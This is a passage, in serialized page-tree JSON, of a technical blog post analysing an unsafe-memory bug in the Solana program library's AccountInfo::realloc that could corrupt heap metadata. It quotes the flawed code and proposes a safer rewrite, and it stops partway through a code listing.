",{"type":24,"tag":69,"props":3692,"children":3695},{"href":3693,"rel":3694},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[73],[3696],{"type":24,"tag":32,"props":3697,"children":3699},{"className":3698},[],[3700],{"type":29,"value":3701},"solana_sdk::account::Account",{"type":29,"value":3703}," - in the client SDK. It holds an account's data in a ",{"type":24,"tag":32,"props":3705,"children":3707},{"className":3706},[],[3708],{"type":29,"value":3709},"Vec\u003Cu8>",{"type":29,"value":3711},", and it implements ",{"type":24,"tag":32,"props":3713,"children":3715},{"className":3714},[],[3716],{"type":29,"value":3717},"solana_program::account_info::Account",{"type":29,"value":3719}," (the trait from earlier) - by ",{"type":24,"tag":69,"props":3721,"children":3724},{"href":3722,"rel":3723},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[73],[3725,3727],{"type":29,"value":3726},"returning a reference to the contents of that ",{"type":24,"tag":32,"props":3728,"children":3730},{"className":3729},[],[3731],{"type":29,"value":3732},"Vec",{"type":29,"value":3734},". So, ",{"type":24,"tag":32,"props":3736,"children":3738},{"className":3737},[],[3739],{"type":29,"value":37},{"type":29,"value":3741}," writes the size into the 8 bytes right before ",{"type":24,"tag":32,"props":3743,"children":3745},{"className":3744},[],[3746],{"type":29,"value":481},{"type":29,"value":3748},"; ",{"type":24,"tag":32,"props":3750,"children":3752},{"className":3751},[],[3753],{"type":29,"value":481},{"type":29,"value":3755}," is the buffer of a ",{"type":24,"tag":32,"props":3757,"children":3759},{"className":3758},[],[3760],{"type":29,"value":3732},{"type":29,"value":3762},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":24,"tag":32,"props":3764,"children":3766},{"className":3765},[],[3767],{"type":29,"value":1434},{"type":29,"value":3769}," out of an SDK ",{"type":24,"tag":32,"props":3771,"children":3773},{"className":3772},[],[3774],{"type":29,"value":3667},{"type":29,"value":3776}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":24,"tag":850,"props":3778,"children":3780},{"id":3779},"remediation",[3781],{"type":29,"value":3782},"Remediation",{"type":24,"tag":25,"props":3784,"children":3785},{},[3786],{"type":29,"value":3787},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":24,"tag":25,"props":3789,"children":3790},{},[3791,3793,3798,3800,3805,3807,3818,3820,3825,3827,3834],{"type":29,"value":3792},"The sensible thing to do would be to store the initial size in the ",{"type":24,"tag":32,"props":3794,"children":3796},{"className":3795},[],[3797],{"type":29,"value":1434},{"type":29,"value":3799},"... except for the fact that the layout of ",{"type":24,"tag":32,"props":3801,"children":3803},{"className":3802},[],[3804],{"type":29,"value":1434},{"type":29,"value":3806}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":24,"tag":1978,"props":3808,"children":3809},{},[3810],{"type":24,"tag":69,"props":3811,"children":3815},{"href":3812,"ariaDescribedBy":3813,"dataFootnoteRef":7,"id":3814},"#user-content-fn-layout",[1985],"user-content-fnref-layout",[3816],{"type":29,"value":3817},"3",{"type":29,"value":3819}," So, with changing ",{"type":24,"tag":32,"props":3821,"children":3823},{"className":3822},[],[3824],{"type":29,"value":1434},{"type":29,"value":3826}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":24,"tag":69,"props":3828,"children":3831},{"href":3829,"rel":3830},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[73],[3832],{"type":29,"value":3833},"this function",{"type":29,"value":78},{"type":24,"tag":80,"props":3836,"children":3838},{"className":82,"code":3837,"language":84,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n let key_ptr = self.key as *const _ as *const u8;\n let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n *original_data_len_ptr as usize\n}\n",[3839],{"type":24,"tag":32,"props":3840,"children":3841},{"__ignoreMap":7},[3842,3850,3858,3866,3874,3881,3889,3897,3945,4011,4077,4098],{"type":24,"tag":90,"props":3843,"children":3844},{"class":92,"line":93},[3845],{"type":24,"tag":90,"props":3846,"children":3847},{"style":252},[3848],{"type":29,"value":3849},"/// Return the account's original data length when it was serialized for the\n",{"type":24,"tag":90,"props":3851,"children":3852},{"class":92,"line":200},[3853],{"type":24,"tag":90,"props":3854,"children":3855},{"style":252},[3856],{"type":29,"value":3857},"/// current program invocation.\n",{"type":24,"tag":90,"props":3859,"children":3860},{"class":92,"line":239},[3861],{"type":24,"tag":90,"props":3862,"children":3863},{"style":252},[3864],{"type":29,"value":3865},"///\n",{"type":24,"tag":90,"props":3867,"children":3868},{"class":92,"line":248},[3869],{"type":24,"tag":90,"props":3870,"children":3871},{"style":252},[3872],{"type":29,"value":3873},"/// # Safety\n",{"type":24,"tag":90,"props":3875,"children":3876},{"class":92,"line":258},[3877],{"type":24,"tag":90,"props":3878,"children":3879},{"style":252},[3880],{"type":29,"value":3865},{"type":24,"tag":90,"props":3882,"children":3883},{"class":92,"line":272},[3884],{"type":24,"tag":90,"props":3885,"children":3886},{"style":252},[3887],{"type":29,"value":3888},"/// This method assumes that the original data length was serialized as a u32\n",{"type":24,"tag":90,"props":3890,"children":3891},{"class":92,"line":281},[3892],{"type":24,"tag":90,"props":3893,"children":3894},{"style":252},[3895],{"type":29,"value":3896},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":24,"tag":90,"props":3898,"children":3899},{"class":92,"line":384},[3900,3904,3908,3912,3917,3921,3925,3929,3933,3937,3941],{"type":24,"tag":90,"props":3901,"children":3902},{"style":97},[3903],{"type":29,"value":100},{"type":24,"tag":90,"props":3905,"children":3906},{"style":97},[3907],{"type":29,"value":1077},{"type":24,"tag":90,"props":3909,"children":3910},{"style":97},[3911],{"type":29,"value":105},{"type":24,"tag":90,"props":3913,"children":3914},{"style":108},[3915],{"type":29,"value":3916}," original_data_len",{"type":24,"tag":90,"props":3918,"children":3919},{"style":114},[3920],{"type":29,"value":117},{"type":24,"tag":90,"props":3922,"children":3923},{"style":120},[3924],{"type":29,"value":123},{"type":24,"tag":90,"props":3926,"children":3927},{"style":97},[3928],{"type":29,"value":128},{"type":24,"tag":90,"props":3930,"children":3931},{"style":114},[3932],{"type":29,"value":172},{"type":24,"tag":90,"props":3934,"children":3935},{"style":120},[3936],{"type":29,"value":177},{"type":24,"tag":90,"props":3938,"children":3939},{"style":146},[3940],{"type":29,"value":149},{"type":24,"tag":90,"props":3942,"children":3943},{"style":114},[3944],{"type":29,"value":269},{"type":24,"tag":90,"props":3946,"children":3947},{"class":92,"line":420},[3948,3952,3957,3961,3965,3969,3974,3978,3982,3986,3991,3995,3999,4003,4007],{"type":24,"tag":90,"props":3949,"children":3950},{"style":97},[3951],{"type":29,"value":206},{"type":24,"tag":90,"props":3953,"children":3954},{"style":136},[3955],{"type":29,"value":3956}," key_ptr",{"type":24,"tag":90,"props":3958,"children":3959},{"style":120},[3960],{"type":29,"value":216},{"type":24,"tag":90,"props":3962,"children":3963},{"style":97},[3964],{"type":29,"value":221},{"type":24,"tag":90,"props":3966,"children":3967},{"style":120},[3968],{"type":29,"value":226},{"type":24,"tag":90,"props":3970,"children":3971},{"style":114},[3972],{"type":29,"value":3973},"key ",{"type":24,"tag":90,"props":3975,"children":3976},{"style":97},[3977],{"type":29,"value":361},{"type":24,"tag":90,"props":3979,"children":3980},{"style":120},[3981],{"type":29,"value":366},{"type":24,"tag":90,"props":3983,"children":3984},{"style":97},[3985],{"type":29,"value":508},{"type":24,"tag":90,"props":3987,"children":3988},{"style":136},[3989],{"type":29,"value":3990}," _",{"type":24,"tag":90,"props":3992,"children":3993},{"style":97},[3994],{"type":29,"value":409},{"type":24,"tag":90,"props":3996,"children":3997},{"style":120},[3998],{"type":29,"value":366},{"type":24,"tag":90,"props":4000,"children":4001},{"style":97},[4002],{"type":29,"value":508},{"type":24,"tag":90,"props":4004,"children":4005},{"style":146},[4006],{"type":29,"value":1123},{"type":24,"tag":90,"props":4008,"children":4009},{"style":114},[4010],{"type":29,"value":381},{"type":24,"tag":90,"props":4012,"children":4013},{"class":92,"line":428},[4014,4018,4023,4027,4031,4035,4039,4043,4047,4052,4056,4060,4064,4068,4073],{"type":24,"tag":90,"props":4015,"children":4016},{"style":97},[4017],{"type":29,"value":206},{"type":24,"tag":90,"props":4019,"children":4020},{"style":136},[4021],{"type":29,"value":4022}," original_data_len_ptr",{"type":24,"tag":90,"props":4024,"children":4025},{"style":120},[4026],{"type":29,"value":216},{"type":24,"tag":90,"props":4028,"children":4029},{"style":136},[4030],{"type":29,"value":3956},{"type":24,"tag":90,"props":4032,"children":4033},{"style":120},[4034],{"type":29,"value":226},{"type":24,"tag":90,"props":4036,"children":4037},{"style":108},[4038],{"type":29,"value":337},{"type":24,"tag":90,"props":4040,"children":4041},{"style":114},[4042],{"type":29,"value":117},{"type":24,"tag":90,"props":4044,"children":4045},{"style":120},[4046],{"type":29,"value":346},{"type":24,"tag":90,"props":4048,"children":4049},{"style":349},[4050],{"type":29,"value":4051},"4",{"type":24,"tag":90,"props":4053,"children":4054},{"style":114},[4055],{"type":29,"value":172},{"type":24,"tag":90,"props":4057,"children":4058},{"style":97},[4059],{"type":29,"value":361},{"type":24,"tag":90,"props":4061,"children":4062},{"style":120},[4063],{"type":29,"value":366},{"type":24,"tag":90,"props":4065,"children":4066},{"style":97},[4067],{"type":29,"value":508},{"type":24,"tag":90,"props":4069,"children":4070},{"style":146},[4071],{"type":29,"value":4072}," u32",{"type":24,"tag":90,"props":4074,"children":4075},{"style":114},[4076],{"type":29,"value":381},{"type":24,"tag":90,"props":4078,"children":4079},{"class":92,"line":437},[4080,4085,4090,4094],{"type":24,"tag":90,"props":4081,"children":4082},{"style":120},[4083],{"type":29,"value":4084}," *",{"type":24,"tag":90,"props":4086,"children":4087},{"style":136},[4088],{"type":29,"value":4089},"original_data_len_ptr",{"type":24,"tag":90,"props":4091,"children":4092},{"style":97},[4093],{"type":29,"value":409},{"type":24,"tag":90,"props":4095,"children":4096},{"style":146},[4097],{"type":29,"value":3495},{"type":24,"tag":90,"props":4099,"children":4100},{"class":92,"line":574},[4101],{"type":24,"tag":90,"props":4102,"children":4103},{"style":114},[4104],{"type":29,"value":827},{"type":24,"tag":25,"props":4106,"children":4107},{},[4108,4110,4115,4117,4122,4124,4129,4131,4136,4138,4145,4147,4154,4155,4162,4163,4170,4171,4178],{"type":29,"value":4109},"It's marked ",{"type":24,"tag":32,"props":4111,"children":4113},{"className":4112},[],[4114],{"type":29,"value":838},{"type":29,"value":4116},", properly documented, but there's just one problem: we need this for ",{"type":24,"tag":32,"props":4118,"children":4120},{"className":4119},[],[4121],{"type":29,"value":37},{"type":29,"value":4123},", which originally was not ",{"type":24,"tag":32,"props":4125,"children":4127},{"className":4126},[],[4128],{"type":29,"value":838},{"type":29,"value":4130},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":24,"tag":32,"props":4132,"children":4134},{"className":4133},[],[4135],{"type":29,"value":838},{"type":29,"value":4137}," block and added ",{"type":24,"tag":69,"props":4139,"children":4142},{"href":4140,"rel":4141},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[73],[4143],{"type":29,"value":4144},"a doc comment",{"type":29,"value":4146}," - adding to the ",{"type":24,"tag":69,"props":4148,"children":4151},{"href":4149,"rel":4150},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[73],[4152],{"type":29,"value":4153},"small",{"type":29,"value":2877},{"type":24,"tag":69,"props":4156,"children":4159},{"href":4157,"rel":4158},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[73],[4160],{"type":29,"value":4161},"pile",{"type":29,"value":2877},{"type":24,"tag":69,"props":4164,"children":4167},{"href":4165,"rel":4166},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[73],[4168],{"type":29,"value":4169},"of",{"type":29,"value":2877},{"type":24,"tag":69,"props":4172,"children":4175},{"href":4173,"rel":4174},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[73],[4176],{"type":29,"value":4177},"functions",{"type":29,"value":4179}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":24,"tag":850,"props":4181,"children":4183},{"id":4182},"towards-safer-unsafe",[4184,4186],{"type":29,"value":4185},"Towards safer ",{"type":24,"tag":32,"props":4187,"children":4189},{"className":4188},[],[4190],{"type":29,"value":838},{"type":24,"tag":25,"props":4192,"children":4193},{},[4194,4196,4201,4203,4208,4210,4217],{"type":29,"value":4195},"Let's circle back to that main ",{"type":24,"tag":32,"props":4197,"children":4199},{"className":4198},[],[4200],{"type":29,"value":838},{"type":29,"value":4202}," block inside ",{"type":24,"tag":32,"props":4204,"children":4206},{"className":4205},[],[4207],{"type":29,"value":37},{"type":29,"value":4209}," for a bit, shall we? As a reminder, it looks like ",{"type":24,"tag":69,"props":4211,"children":4214},{"href":4212,"rel":4213},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[73],[4215],{"type":29,"value":4216},"this",{"type":29,"value":78},{"type":24,"tag":80,"props":4219,"children":4221},{"className":82,"code":4220,"language":84,"meta":7,"style":7},"// realloc\nunsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n}\n",[4222],{"type":24,"tag":32,"props":4223,"children":4224},{"__ignoreMap":7},[4225,4233,4244,4252,4339,4370,4377,4385,4512,4543],{"type":24,"tag":90,"props":4226,"children":4227},{"class":92,"line":93},[4228],{"type":24,"tag":90,"props":4229,"children":4230},{"style":252},[4231],{"type":29,"value":4232},"// realloc\n",{"type":24,"tag":90,"props":4234,"children":4235},{"class":92,"line":200},[4236,4240],{"type":24,"tag":90,"props":4237,"children":4238},{"style":97},[4239],{"type":29,"value":838},{"type":24,"tag":90,"props":4241,"children":4242},{"style":114},[4243],{"type":29,"value":269},{"type":24,"tag":90,"props":4245,"children":4246},{"class":92,"line":239},[4247],{"type":24,"tag":90,"props":4248,"children":4249},{"style":252},[4250],{"type":29,"value":4251}," // First set new length in the serialized data\n",{"type":24,"tag":90,"props":4253,"children":4254},{"class":92,"line":248},[4255,4259,4263,4267,4271,4275,4279,4283,4287,4291,4295,4299,4303,4307,4311,4315,4319,4323,4327,4331,4335],{"type":24,"tag":90,"props":4256,"children":4257},{"style":97},[4258],{"type":29,"value":206},{"type":24,"tag":90,"props":4260,"children":4261},{"style":136},[4262],{"type":29,"value":292},{"type":24,"tag":90,"props":4264,"children":4265},{"style":120},[4266],{"type":29,"value":216},{"type":24,"tag":90,"props":4268,"children":4269},{"style":97},[4270],{"type":29,"value":221},{"type":24,"tag":90,"props":4272,"children":4273},{"style":120},[4274],{"type":29,"value":226},{"type":24,"tag":90,"props":4276,"children":4277},{"style":108},[4278],{"type":29,"value":309},{"type":24,"tag":90,"props":4280,"children":4281},{"style":114},[4282],{"type":29,"value":314},{"type":24,"tag":90,"props":4284,"children":4285},{"style":120},[4286],{"type":29,"value":319},{"type":24,"tag":90,"props":4288,"children":4289},{"style":108},[4290],{"type":29,"value":324},{"type":24,"tag":90,"props":4292,"children":4293},{"style":114},[4294],{"type":29,"value":314},{"type":24,"tag":90,"props":4296,"children":4297},{"style":120},[4298],{"type":29,"value":226},{"type":24,"tag":90,"props":4300,"children":4301},{"style":108},[4302],{"type":29,"value":337},{"type":24,"tag":90,"props":4304,"children":4305},{"style":114},[4306],{"type":29,"value":117},{"type":24,"tag":90,"props":4308,"children":4309},{"style":120},[4310],{"type":29,"value":346},{"type":24,"tag":90,"props":4312,"children":4313},{"style":349},[4314],{"type":29,"value":352},{"type":24,"tag":90,"props":4316,"children":4317},{"style":114},[4318],{"type":29,"value":172},{"type":24,"tag":90,"props":4320,"children":4321},{"style":97},[4322],{"type":29,"value":361},{"type":24,"tag":90,"props":4324,"children":4325},{"style":120},[4326],{"type":29,"value":366},{"type":24,"tag":90,"props":4328,"children":4329},{"style":97},[4330],{"type":29,"value":371},{"type":24,"tag":90,"props":4332,"children":4333},{"style":146},[4334],{"type":29,"value":376},{"type":24,"tag":90,"props":4336,"children":4337},{"style":114},[4338],{"type":29,"value":381},{"type":24,"tag":90,"props":4340,"children":4341},{"class":92,"line":258},[4342,4346,4350,4354,4358,4362,4366],{"type":24,"tag":90,"props":4343,"children":4344},{"style":120},[4345],{"type":29,"value":4084},{"type":24,"tag":90,"props":4347,"children":4348},{"style":136},[4349],{"type":29,"value":395},{"type":24,"tag":90,"props":4351,"children":4352},{"style":120},[4353],{"type":29,"value":216},{"type":24,"tag":90,"props":4355,"children":4356},{"style":136},[4357],{"type":29,"value":404},{"type":24,"tag":90,"props":4359,"children":4360},{"style":97},[4361],{"type":29,"value":409},{"type":24,"tag":90,"props":4363,"children":4364},{"style":146},[4365],{"type":29,"value":376},{"type":24,"tag":90,"props":4367,"children":4368},{"style":114},[4369],{"type":29,"value":381},{"type":24,"tag":90,"props":4371,"children":4372},{"class":92,"line":272},[4373],{"type":24,"tag":90,"props":4374,"children":4375},{"emptyLinePlaceholder":16},[4376],{"type":29,"value":245},{"type":24,"tag":90,"props":4378,"children":4379},{"class":92,"line":281},[4380],{"type":24,"tag":90,"props":4381,"children":4382},{"style":252},[4383],{"type":29,"value":4384}," // Then set the new length in the local slice\n",{"type":24,"tag":90,"props":4386,"children":4387},{"class":92,"line":384},[4388,4392,4396,4400,4404,4408,4412,4416,4420,4424,4428,4432,4436,4440,4444,4448,4452,4456,4460,4464,4468,4472,4476,4480,4484,4488,4492,4496,4500,4504,4508],{"type":24,"tag":90,"props":4389,"children":4390},{"style":97},[4391],{"type":29,"value":206},{"type":24,"tag":90,"props":4393,"children":4394},{"style":136},[4395],{"type":29,"value":292},{"type":24,"tag":90,"props":4397,"children":4398},{"style":120},[4399],{"type":29,"value":216},{"type":24,"tag":90,"props":4401,"children":4402},{"style":120},[4403],{"type":29,"value":455},{"type":24,"tag":90,"props":4405,"children":4406},{"style":97},[4407],{"type":29,"value":371},{"type":24,"tag":90,"props":4409,"children":4410},{"style":120},[4411],{"type":29,"value":366},{"type":24,"tag":90,"props":4413,"children":4414},{"style":114},[4415],{"type":29,"value":468},{"type":24,"tag":90,"props":4417,"children":4418},{"style":97},[4419],{"type":29,"value":128},{"type":24,"tag":90,"props":4421,"children":4422},{"style":120},[4423],{"type":29,"value":226},{"type":24,"tag":90,"props":4425,"children":4426},{"style":114},[4427],{"type":29,"value":481},{"type":24,"tag":90,"props":4429,"children":4430},{"style":120},[4431],{"type":29,"value":226},{"type":24,"tag":90,"props":4433,"children":4434},{"style":108},[4435],{"type":29,"value":490},{"type":24,"tag":90,"props":4437,"children":4438},{"style":114},[4439],{"type":29,"value":495},{"type":24,"tag":90,"props":4441,"children":4442},{"style":97},[4443],{"type":29,"value":361},{"type":24,"tag":90,"props":4445,"children":4446},{"style":120},[4447],{"type":29,"value":366},{"type":24,"tag":90,"props":4449,"children":4450},{"style":97},[4451],{"type":29,"value":508},{"type":24,"tag":90,"props":4453,"children":4454},{"style":146},[4455],{"type":29,"value":376},{"type":24,"tag":90,"props":4457,"children":4458},{"style":114},[4459],{"type":29,"value":517},{"type":24,"tag":90,"props":4461,"children":4462},{"style":120},[4463],{"type":29,"value":226},{"type":24,"tag":90,"props":4465,"children":4466},{"style":108},[4467],{"type":29,"value":337},{"type":24,"tag":90,"props":4469,"children":4470},{"style":114},[4471],{"type":29,"value":117},{"type":24,"tag":90,"props":4473,"children":4474},{"style":349},[4475],{"type":29,"value":534},{"type":24,"tag":90,"props":4477,"children":4478},{"style":114},[4479],{"type":29,"value":172},{"type":24,"tag":90,"props":4481,"children":4482},{"style":97},[4483],{"type":29,"value":361},{"type":24,"tag":90,"props":4485,"children":4486},{"style":146},[4487],{"type":29,"value":376},{"type":24,"tag":90,"props":4489,"children":4490},{"style":114},[4491],{"type":29,"value":172},{"type":24,"tag":90,"props":4493,"children":4494},{"style":97},[4495],{"type":29,"value":361},{"type":24,"tag":90,"props":4497,"children":4498},{"style":120},[4499],{"type":29,"value":366},{"type":24,"tag":90,"props":4501,"children":4502},{"style":97},[4503],{"type":29,"value":371},{"type":24,"tag":90,"props":4505,"children":4506},{"style":146},[4507],{"type":29,"value":376},{"type":24,"tag":90,"props":4509,"children":4510},{"style":114},[4511],{"type":29,"value":571},{"type":24,"tag":90,"props":4513,"children":4514},{"class":92,"line":420},[4515,4519,4523,4527,4531,4535,4539],{"type":24,"tag":90,"props":4516,"children":4517},{"style":120},[4518],{"type":29,"value":4084},{"type":24,"tag":90,"props":4520,"children":4521},{"style":136},[4522],{"type":29,"value":395},{"type":24,"tag":90,"props":4524,"children":4525},{"style":120},[4526],{"type":29,"value":216},{"type":24,"tag":90,"props":4528,"children":4529},{"style":136},[4530],{"type":29,"value":404},{"type":24,"tag":90,"props":4532,"children":4533},{"style":97},[4534],{"type":29,"value":409},{"type":24,"tag":90,"props":4536,"children":4537},{"style":146},[4538],{"type":29,"value":376},{"type":24,"tag":90,"props":4540,"children":4541},{"style":114},[4542],{"type":29,"value":381},{"type":24,"tag":90,"props":4544,"children":4545},{"class":92,"line":428},[4546],{"type":24,"tag":90,"props":4547,"children":4548},{"style":114},[4549],{"type":29,"value":827},{"type":24,"tag":25,"props":4551,"children":4552},{},[4553,4555,4560],{"type":29,"value":4554},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":24,"tag":32,"props":4556,"children":4558},{"className":4557},[],[4559],{"type":29,"value":2008},{"type":29,"value":4561}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":24,"tag":25,"props":4563,"children":4564},{},[4565,4567,4572,4574,4579,4581,4586,4588,4593,4595,4600,4602,4608,4610,4620,4622,4633],{"type":29,"value":4566},"First, let's deal with the ",{"type":24,"tag":32,"props":4568,"children":4570},{"className":4569},[],[4571],{"type":29,"value":2008},{"type":29,"value":4573}," borrowing issue. When we ",{"type":24,"tag":32,"props":4575,"children":4577},{"className":4576},[],[4578],{"type":29,"value":309},{"type":29,"value":4580},", we get a ",{"type":24,"tag":32,"props":4582,"children":4584},{"className":4583},[],[4585],{"type":29,"value":3262},{"type":29,"value":4587}," back, which represents our borrow of the ",{"type":24,"tag":32,"props":4589,"children":4591},{"className":4590},[],[4592],{"type":29,"value":2008},{"type":29,"value":4594},"'s data. The fix here is simple: keep that ",{"type":24,"tag":32,"props":4596,"children":4598},{"className":4597},[],[4599],{"type":29,"value":3262},{"type":29,"value":4601}," around and use it to access the data, instead of using ",{"type":24,"tag":32,"props":4603,"children":4605},{"className":4604},[],[4606],{"type":29,"value":4607},"RefCell::as_ptr",{"type":29,"value":4609},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":24,"tag":1978,"props":4611,"children":4612},{},[4613],{"type":24,"tag":69,"props":4614,"children":4618},{"href":4615,"ariaDescribedBy":4616,"dataFootnoteRef":7,"id":4617},"#user-content-fn-rustc-llvm",[1985],"user-content-fnref-rustc-llvm",[4619],{"type":29,"value":4051},{"type":29,"value":4621}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":24,"tag":1978,"props":4623,"children":4624},{},[4625],{"type":24,"tag":69,"props":4626,"children":4630},{"href":4627,"ariaDescribedBy":4628,"dataFootnoteRef":7,"id":4629},"#user-content-fn-godbolt",[1985],"user-content-fnref-godbolt",[4631],{"type":29,"value":4632},"5",{"type":29,"value":4634},". So then we get:",{"type":24,"tag":80,"props":4636,"children":4638},{"className":82,"code":4637,"language":84,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[4639],{"type":24,"tag":32,"props":4640,"children":4641},{"__ignoreMap":7},[4642,4687,4694,4701,4785,4825,4832,4839],{"type":24,"tag":90,"props":4643,"children":4644},{"class":92,"line":93},[4645,4649,4654,4659,4663,4667,4671,4675,4679,4683],{"type":24,"tag":90,"props":4646,"children":4647},{"style":97},[4648],{"type":29,"value":895},{"type":24,"tag":90,"props":4650,"children":4651},{"style":97},[4652],{"type":29,"value":4653}," mut",{"type":24,"tag":90,"props":4655,"children":4656},{"style":136},[4657],{"type":29,"value":4658}," slice",{"type":24,"tag":90,"props":4660,"children":4661},{"style":120},[4662],{"type":29,"value":216},{"type":24,"tag":90,"props":4664,"children":4665},{"style":97},[4666],{"type":29,"value":221},{"type":24,"tag":90,"props":4668,"children":4669},{"style":120},[4670],{"type":29,"value":226},{"type":24,"tag":90,"props":4672,"children":4673},{"style":108},[4674],{"type":29,"value":309},{"type":24,"tag":90,"props":4676,"children":4677},{"style":114},[4678],{"type":29,"value":314},{"type":24,"tag":90,"props":4680,"children":4681},{"style":120},[4682],{"type":29,"value":714},{"type":24,"tag":90,"props":4684,"children":4685},{"style":114},[4686],{"type":29,"value":381},{"type":24,"tag":90,"props":4688,"children":4689},{"class":92,"line":200},[4690],{"type":24,"tag":90,"props":4691,"children":4692},{"emptyLinePlaceholder":16},[4693],{"type":29,"value":245},{"type":24,"tag":90,"props":4695,"children":4696},{"class":92,"line":239},[4697],{"type":24,"tag":90,"props":4698,"children":4699},{"style":252},[4700],{"type":29,"value":887},{"type":24,"tag":90,"props":4702,"children":4703},{"class":92,"line":248},[4704,4708,4712,4716,4720,4724,4728,4732,4736,4740,4744,4748,4752,4756,4760,4765,4769,4773,4777,4781],{"type":24,"tag":90,"props":4705,"children":4706},{"style":97},[4707],{"type":29,"value":895},{"type":24,"tag":90,"props":4709,"children":4710},{"style":136},[4711],{"type":29,"value":292},{"type":24,"tag":90,"props":4713,"children":4714},{"style":120},[4715],{"type":29,"value":216},{"type":24,"tag":90,"props":4717,"children":4718},{"style":97},[4719],{"type":29,"value":1077},{"type":24,"tag":90,"props":4721,"children":4722},{"style":114},[4723],{"type":29,"value":1196},{"type":24,"tag":90,"props":4725,"children":4726},{"style":136},[4727],{"type":29,"value":1815},{"type":24,"tag":90,"props":4729,"children":4730},{"style":120},[4731],{"type":29,"value":226},{"type":24,"tag":90,"props":4733,"children":4734},{"style":108},[4735],{"type":29,"value":324},{"type":24,"tag":90,"props":4737,"children":4738},{"style":114},[4739],{"type":29,"value":314},{"type":24,"tag":90,"props":4741,"children":4742},{"style":120},[4743],{"type":29,"value":226},{"type":24,"tag":90,"props":4745,"children":4746},{"style":108},[4747],{"type":29,"value":337},{"type":24,"tag":90,"props":4749,"children":4750},{"style":114},[4751],{"type":29,"value":117},{"type":24,"tag":90,"props":4753,"children":4754},{"style":120},[4755],{"type":29,"value":346},{"type":24,"tag":90,"props":4757,"children":4758},{"style":349},[4759],{"type":29,"value":352},{"type":24,"tag":90,"props":4761,"children":4762},{"style":114},[4763],{"type":29,"value":4764},") } ",{"type":24,"tag":90,"props":4766,"children":4767},{"style":97},[4768],{"type":29,"value":361},{"type":24,"tag":90,"props":4770,"children":4771},{"style":120},[4772],{"type":29,"value":366},{"type":24,"tag":90,"props":4774,"children":4775},{"style":97},[4776],{"type":29,"value":371},{"type":24,"tag":90,"props":4778,"children":4779},{"style":146},[4780],{"type":29,"value":376},{"type":24,"tag":90,"props":4782,"children":4783},{"style":114},[4784],{"type":29,"value":381},{"type":24,"tag":90,"props":4786,"children":4787},{"class":92,"line":258},[4788,4792,4796,4800,4804,4808,4812,4816,4820],{"type":24,"tag":90,"props":4789,"children":4790},{"style":97},[4791],{"type":29,"value":838},{"type":24,"tag":90,"props":4793,"children":4794},{"style":114},[4795],{"type":29,"value":1196},{"type":24,"tag":90,"props":4797,"children":4798},{"style":120},[4799],{"type":29,"value":983},{"type":24,"tag":90,"props":4801,"children":4802},{"style":136},[4803],{"type":29,"value":395},{"type":24,"tag":90,"props":4805,"children":4806},{"style":120},[4807],{"type":29,"value":216},{"type":24,"tag":90,"props":4809,"children":4810},{"style":136},[4811],{"type":29,"value":404},{"type":24,"tag":90,"props":4813,"children":4814},{"style":97},[4815],{"type":29,"value":409},{"type":24,"tag":90,"props":4817,"children":4818},{"style":146},[4819],{"type":29,"value":376},{"type":24,"tag":90,"props":4821,"children":4822},{"style":114},[4823],{"type":29,"value":4824}," 